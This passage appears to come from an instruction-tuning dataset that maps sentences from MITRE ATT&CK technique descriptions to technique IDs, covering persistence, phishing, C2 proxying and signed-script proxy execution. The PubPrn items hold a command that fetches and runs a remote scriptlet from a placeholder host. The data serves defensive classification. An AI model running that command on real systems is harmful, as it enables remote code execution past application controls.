Input: In cloud environments, adversaries may disable versioning and backup policies and delete snapshots, machine images, and prior versions of objects designed to be used in disaster recovery scenarios.(Citation: ### Response: T1490."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Dark Reading Code Spaces Cyber Attack)(Citation:", "output": "T1490", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Dark Reading Code Spaces Cyber Attack)(Citation: ### Response: T1490."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Rhino Security Labs AWS S3 Ransomware)", "output": "T1490", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Rhino Security Labs AWS S3 Ransomware) ### Response: T1490."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events.", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events. ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Various operating systems have means to monitor and subscribe to events such as logons or other user activity such as running specific applications/binaries.", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Various operating systems have means to monitor and subscribe to events such as logons or other user activity such as running specific applications/binaries. ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Cloud environments may also support various functions and services that monitor and can be invoked in response to specific cloud events.(Citation:", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Cloud environments may also support various functions and services that monitor and can be invoked in response to specific cloud events.(Citation: ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Backdooring an AWS account)(Citation: Varonis Power Automate Data Exfiltration)(Citation:", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Backdooring an AWS account)(Citation: Varonis Power Automate Data Exfiltration)(Citation: ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft DART Case Report 001)", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft DART Case Report 001) ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse these mechanisms as a means of maintaining persistent access to a victim via repeatedly executing malicious code.", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse these mechanisms as a means of maintaining persistent access to a victim via repeatedly executing malicious code. ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "After gaining access to a victim system, adversaries may create/modify event triggers to point to malicious content that will be executed whenever the event trigger is invoked.(Citation: FireEye WMI 2015)(Citation:", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: After gaining access to a victim system, adversaries may create/modify event triggers to point to malicious content that will be executed whenever the event trigger is invoked.(Citation: FireEye WMI 2015)(Citation: ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Malware Persistence on OS X)(Citation: amnesia malware)", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Malware Persistence on OS X)(Citation: amnesia malware) ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Since the execution can be proxied by an account with higher permissions, such as SYSTEM or service accounts, an adversary may be able to abuse these triggered execution mechanisms to escalate their privileges.", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Since the execution can be proxied by an account with higher permissions, such as SYSTEM or service accounts, an adversary may be able to abuse these triggered execution mechanisms to escalate their privileges. ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may establish persistence by executing malicious content triggered by Netsh Helper DLLs.", "output": "T1546.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may establish persistence by executing malicious content triggered by Netsh Helper DLLs. ### Response: T1546.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.", "output": "T1546.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system. ### Response: T1546.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "It contains functionality to add helper DLLs for extending functionality of the utility.(Citation: TechNet Netsh)", "output": "T1546.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: It contains functionality to add helper DLLs for extending functionality of the utility.(Citation: TechNet Netsh) ### Response: T1546.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at <code>HKLM\\SOFTWARE\\Microsoft\\Netsh</code>.", "output": "T1546.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at <code>HKLM\\SOFTWARE\\Microsoft\\Netsh</code>. ### Response: T1546.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can use netsh.exe helper DLLs to trigger execution of arbitrary code in a persistent manner.", "output": "T1546.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can use netsh.exe helper DLLs to trigger execution of arbitrary code in a persistent manner. ### Response: T1546.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This execution would take place anytime netsh.exe is executed, which could happen automatically, with another persistence technique, or if other software (ex: VPN) is present on the system that executes netsh.exe as part of its normal functionality.(Citation: Github Netsh Helper CS Beacon)(Citation: Demaske Netsh Persistence)", "output": "T1546.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This execution would take place anytime netsh.exe is executed, which could happen automatically, with another persistence technique, or if other software (ex: VPN) is present on the system that executes netsh.exe as part of its normal functionality.(Citation: Github Netsh Helper CS Beacon)(Citation: Demaske Netsh Persistence) ### Response: T1546.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may send phishing messages to gain access to victim systems.", "output": "T1566", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may send phishing messages to gain access to victim systems. ### Response: T1566."}{"instruction": "List the MITRE techniques contained in the text.", "input": "All forms of phishing are electronically delivered social engineering.", "output": "T1566", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: All forms of phishing are electronically delivered social engineering. ### Response: T1566."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Phishing can be targeted, known as spearphishing.", "output": "T1566", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Phishing can be targeted, known as spearphishing. ### Response: T1566."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In spearphishing, a specific individual, company, or industry will be targeted by the adversary.", "output": "T1566", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In spearphishing, a specific individual, company, or industry will be targeted by the adversary. ### Response: T1566."}{"instruction": "List the MITRE techniques contained in the text.", "input": "More generally, adversaries can conduct non-targeted phishing, such as in mass malware spam campaigns.", "output": "T1566", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: More generally, adversaries can conduct non-targeted phishing, such as in mass malware spam campaigns. ### Response: T1566."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may send victims emails containing malicious attachments or links, typically to execute malicious code on victim systems.", "output": "T1566", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may send victims emails containing malicious attachments or links, typically to execute malicious code on victim systems. ### Response: T1566."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Phishing may also be conducted via third-party services, like social media platforms.", "output": "T1566", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Phishing may also be conducted via third-party services, like social media platforms. ### Response: T1566."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Phishing may also involve social engineering techniques, such as posing as a trusted source, as well as evasive techniques such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., [Email Hiding Rules](https://attack.mitre.org/techniques/T1564/008)).(Citation: Microsoft OAuth Spam 2022)(Citation:", "output": "T1566", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Phishing may also involve social engineering techniques, such as posing as a trusted source, as well as evasive techniques such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., [Email Hiding Rules](https://attack.mitre.org/techniques/T1564/008)).(Citation: Microsoft OAuth Spam 2022)(Citation: ### Response: T1566."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Palo Alto Unit 42 VBA Infostealer 2014)", "output": "T1566", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Palo Alto Unit 42 VBA Infostealer 2014) ### Response: T1566."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Another way to accomplish this is by forging or spoofing(Citation: Proofpoint-spoof) the identity of the sender which can be used to fool both the human recipient as well as automated security tools.(Citation: cyberproof-double-bounce)", "output": "T1566", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Another way to accomplish this is by forging or spoofing(Citation: Proofpoint-spoof) the identity of the sender which can be used to fool both the human recipient as well as automated security tools.(Citation: cyberproof-double-bounce) ### Response: T1566."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Victims may also receive phishing messages that instruct them to call a phone number where they are directed to visit a malicious URL, download malware,(Citation: sygnia Luna Month)(Citation:", "output": "T1566", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Victims may also receive phishing messages that instruct them to call a phone number where they are directed to visit a malicious URL, download malware,(Citation: sygnia Luna Month)(Citation: ### Response: T1566."}{"instruction": "List the MITRE techniques contained in the text.", "input": "CISA Remote Monitoring and Management Software) or install adversary-accessible remote management tools onto their computer (i.e., [User Execution](https://attack.mitre.org/techniques/T1204)).(Citation:", "output": "T1566", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: CISA Remote Monitoring and Management Software) or install adversary-accessible remote management tools onto their computer (i.e., [User Execution](https://attack.mitre.org/techniques/T1204)).(Citation: ### Response: T1566."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Unit42 Luna Moth)", "output": "T1566", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Unit42 Luna Moth) ### Response: T1566."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may send spearphishing messages via third-party services in an attempt to gain access to victim systems.", "output": "T1566.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may send spearphishing messages via third-party services in an attempt to gain access to victim systems. ### Response: T1566.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Spearphishing via service is a specific variant of spearphishing.", "output": "T1566.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Spearphishing via service is a specific variant of spearphishing. ### Response: T1566.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "It is different from other forms of spearphishing in that it employs the use of third party services rather than directly via enterprise email channels.", "output": "T1566.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: It is different from other forms of spearphishing in that it employs the use of third party services rather than directly via enterprise email channels. ### Response: T1566.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry.", "output": "T1566.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. ### Response: T1566.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services.", "output": "T1566.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services. ### Response: T1566.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These services are more likely to have a less-strict security policy than an enterprise.", "output": "T1566.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These services are more likely to have a less-strict security policy than an enterprise. ### Response: T1566.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way.", "output": "T1566.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. ### Response: T1566.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries will create fake social media accounts and message employees for potential job opportunities.", "output": "T1566.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries will create fake social media accounts and message employees for potential job opportunities. ### Response: T1566.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Doing so allows a plausible reason for asking about services, policies, and software that's running in an environment.", "output": "T1566.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Doing so allows a plausible reason for asking about services, policies, and software that's running in an environment. ### Response: T1566.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The adversary can then send malicious links or attachments through these services.", "output": "T1566.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The adversary can then send malicious links or attachments through these services. ### Response: T1566.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A common example is to build rapport with a target via social media, then send content to a personal webmail service that the target uses on their work computer.", "output": "T1566.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A common example is to build rapport with a target via social media, then send content to a personal webmail service that the target uses on their work computer. ### Response: T1566.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This allows an adversary to bypass some email restrictions on the work account, and the target is more likely to open the file since it's something they were expecting.", "output": "T1566.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This allows an adversary to bypass some email restrictions on the work account, and the target is more likely to open the file since it's something they were expecting. ### Response: T1566.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If the payload doesn't work as expected, the adversary can continue normal communications and troubleshoot with the target on how to get it working.", "output": "T1566.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If the payload doesn't work as expected, the adversary can continue normal communications and troubleshoot with the target on how to get it working. ### Response: T1566.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure.", "output": "T1090", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. ### Response: T1090."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap.", "output": "T1090", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. ### Response: T1090."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Trend Micro APT Attack Tools) Adversaries use these types of proxies to manage command and control communications, reduce the number of simultaneous outbound network connections, provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion.", "output": "T1090", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Trend Micro APT Attack Tools) Adversaries use these types of proxies to manage command and control communications, reduce the number of simultaneous outbound network connections, provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion. ### Response: T1090."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may chain together multiple proxies to further disguise the source of malicious traffic.", "output": "T1090", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may chain together multiple proxies to further disguise the source of malicious traffic. ### Response: T1090."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can also take advantage of routing schemes in Content Delivery Networks (CDNs) to proxy command and control traffic.", "output": "T1090", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can also take advantage of routing schemes in Content Delivery Networks (CDNs) to proxy command and control traffic. ### Response: T1090."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use an internal proxy to direct command and control traffic between two or more systems in a compromised environment.", "output": "T1090.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use an internal proxy to direct command and control traffic between two or more systems in a compromised environment. ### Response: T1090.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap.", "output": "T1090.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. ### Response: T1090.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Trend Micro APT Attack Tools)", "output": "T1090.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Trend Micro APT Attack Tools) ### Response: T1090.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries use internal proxies to manage command and control communications inside a compromised environment, to reduce the number of simultaneous outbound network connections, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between infected systems to avoid suspicion.", "output": "T1090.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries use internal proxies to manage command and control communications inside a compromised environment, to reduce the number of simultaneous outbound network connections, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between infected systems to avoid suspicion. ### Response: T1090.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Internal proxy connections may use common peer-to-peer (p2p) networking protocols, such as SMB, to better blend in with the environment.", "output": "T1090.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Internal proxy connections may use common peer-to-peer (p2p) networking protocols, such as SMB, to better blend in with the environment. ### Response: T1090.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By using a compromised internal system as a proxy, adversaries may conceal the true destination of C2 traffic while reducing the need for numerous connections to external systems.", "output": "T1090.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By using a compromised internal system as a proxy, adversaries may conceal the true destination of C2 traffic while reducing the need for numerous connections to external systems. ### Response: T1090.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use PubPrn to proxy execution of malicious remote files.", "output": "T1216.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use PubPrn to proxy execution of malicious remote files. ### Response: T1216.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "PubPrn.vbs is a [Visual Basic](https://attack.mitre.org/techniques/T1059/005) script that publishes a printer to Active Directory Domain Services.", "output": "T1216.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: PubPrn.vbs is a [Visual Basic](https://attack.mitre.org/techniques/T1059/005) script that publishes a printer to Active Directory Domain Services. ### Response: T1216.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The script may be signed by Microsoft and is commonly executed through the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) via <code>Cscript.exe</code>.", "output": "T1216.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The script may be signed by Microsoft and is commonly executed through the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) via <code>Cscript.exe</code>. ### Response: T1216.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, the following code publishes a printer within the specified domain: <code>cscript pubprn Printer1 LDAP://CN=Container1,DC=Domain1,DC=Com</code>.(Citation: pubprn)", "output": "T1216.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, the following code publishes a printer within the specified domain: <code>cscript pubprn Printer1 LDAP://CN=Container1,DC=Domain1,DC=Com</code>.(Citation: pubprn) ### Response: T1216.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse PubPrn to execute malicious payloads hosted on remote sites.(Citation: Enigma0x3 PubPrn Bypass) To do so, adversaries may set the second <code>script:</code> parameter to reference a scriptlet file (.sct) hosted on a remote site.", "output": "T1216.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse PubPrn to execute malicious payloads hosted on remote sites.(Citation: Enigma0x3 PubPrn Bypass) To do so, adversaries may set the second <code>script:</code> parameter to reference a scriptlet file (.sct) hosted on a remote site. ### Response: T1216.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An example command is <code>pubprn.vbs", "output": "T1216.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An example command is <code>pubprn.vbs ### Response: T1216.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "127.0.0.1 script:https://mydomain.com/folder/file.sct</code>.", "output": "T1216.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: 127.0.0.1 script:https://mydomain.com/folder/file.sct</code>. ### Response: T1216.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This behavior may bypass signature validation restrictions and application control solutions that do not account for abuse of this script.", "output": "T1216.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This behavior may bypass signature validation restrictions and application control solutions that do not account for abuse of this script. ### Response: T1216.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In later versions of Windows (10+), <code>PubPrn.vbs</code> has been updated to prevent proxying execution from a remote site.", "output": "T1216.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In later versions of Windows (10+), <code>PubPrn.vbs</code> has been updated to prevent proxying execution from a remote site. ### Response: T1216.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This is done by limiting the protocol specified in the second parameter to <code>LDAP://</code>, vice the <code>script:</code> moniker which could be used to reference remote code via HTTP(S).", "output": "T1216.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This is done by limiting the protocol specified in the second parameter to <code>LDAP://</code>, vice the <code>script:</code> moniker which could be used to reference remote code via HTTP(S). ### Response: T1216.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use trusted scripts, often signed with certificates, to proxy the execution of malicious files.", "output": "T1216", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use trusted scripts, often signed with certificates, to proxy the execution of malicious files. ### Response: T1216."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Several Microsoft signed scripts that have been downloaded from Microsoft or are default on Windows installations can be used to proxy execution of other files.(Citation: LOLBAS Project)", "output": "T1216", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Several Microsoft signed scripts that have been downloaded from Microsoft or are default on Windows installations can be used to proxy execution of other files.(Citation: LOLBAS Project) ### Response: T1216."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This behavior may be abused by adversaries to execute malicious files that could bypass application control and signature validation on systems.(Citation: GitHub Ultimate AppLocker Bypass List)", "output": "T1216", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This behavior may be abused by adversaries to execute malicious files that could bypass application control and signature validation on systems.(Citation: GitHub Ultimate AppLocker Bypass List) ### Response: T1216."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may communicate using a custom command and control protocol instead of encapsulating commands/data in an existing [Application Layer Protocol](https://attack.mitre.org/techniques/T1071).", "output": "T1094", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may communicate using a custom command and control protocol instead of encapsulating commands/data in an existing [Application Layer Protocol](https://attack.mitre.org/techniques/T1071). ### Response: T1094."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Implementations include mimicking well-known protocols or developing custom protocols (including raw sockets) on top of fundamental protocols provided by TCP/IP/another standard network stack.", "output": "T1094", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Implementations include mimicking well-known protocols or developing custom protocols (including raw sockets) on top of fundamental protocols provided by TCP/IP/another standard network stack. ### Response: T1094."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system.", "output": "T1102", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. ### Response: T1102."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise.", "output": "T1102", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. ### Response: T1102."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise.", "output": "T1102", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### 